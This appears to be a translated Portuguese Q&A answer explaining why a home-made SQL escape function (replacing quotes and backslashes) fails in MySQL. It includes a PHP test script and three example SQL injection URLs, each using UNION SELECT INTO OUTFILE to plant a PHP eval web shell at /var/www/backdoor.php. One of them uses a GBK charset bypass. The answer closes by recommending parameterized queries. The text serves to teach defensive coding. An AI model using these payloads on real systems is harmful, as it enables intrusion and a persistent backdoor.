Se você é apenas substituindo
'
com ''
então você pode explorar isso injetando um \'
que se transformará em um \''
e isso permitirá que você saia porque isso fornece uma aspa simples "literal de caractere" e uma aspa simples real. No entanto, a substituição de "\\"
com "\\\\"
anula este ataque. As aspas simples duplas são usadas para "escapar" aspas simples para MS-SQL, mas isso não é adequado para MySQL, mas pode funcionar. Os seguintes códigos provam que esta função de escape é segura para todos, exceto três condições . Esse código permuta todas as variações possíveis de cartas de controle e testa cada uma para garantir que não ocorra um erro com uma instrução select entre aspas simples. Este código foi testado no MySQL 5.1.41.
<?php
mysql_connect("localhost",'root','');
function escape($value) {
$value = str_replace("'","''",$value);
$value = str_replace("\\","\\\\",$value);
return $value;
}
$chars=array("'","\\","\0","a");
for($w=0;$w<4;$w++){
for($x=0;$x<4;$x++){
for($y=0;$y<4;$y++){
for($z=0;$z<4;$z++){
mysql_query("select '".escape($chars[$w].$chars[$x].$chars[$y].$chars[$z])."'") or die("!!!! $w $x $y $z ".mysql_error());
}
}
}
}
print "Escape function is safe :(";
?>
Condição vulnerável 1:sem aspas usadas.
mysql_query("select username from users where id=".escape($_GET['id']));
Explorar:
http://localhost/sqli_test.php?id=union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php"
Condição vulnerável 2:aspas duplas usadas
mysql_query("select username from users where id=\"".escape($_GET['id'])."\"");
Explorar:
http://localhost/sqli_test.php?id=" union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
Condição vulnerável 2:aspas simples são usadas, no entanto, um conjunto de caracteres alternativo é usado. .
mysql_set_charset("GBK")
mysql_query("select username from users where id='".escape($_GET['id'])."'");
Explorar:
http://localhost/sqli_test.php?id=%bf%27 union select "<?php eval($_GET[e]);?>" into outfile "/var/www/backdoor.php" -- 1
A conclusão é sempre usar
mysql_real_escape_string()
como a rotina de escape para MySQL. Bibliotecas de consulta parametrizada como pdo e adodb sempre usam mysql_real_escape_string()
quando conectado a um banco de dados mysql. addslashes()
é MUITO MELHOR de uma rotina de escape porque cuida da condição vulnerável 2. Deve-se notar que nem mesmo mysql_real_escape_string()
irá parar a condição 1, mas uma biblioteca de consulta parametrizada irá.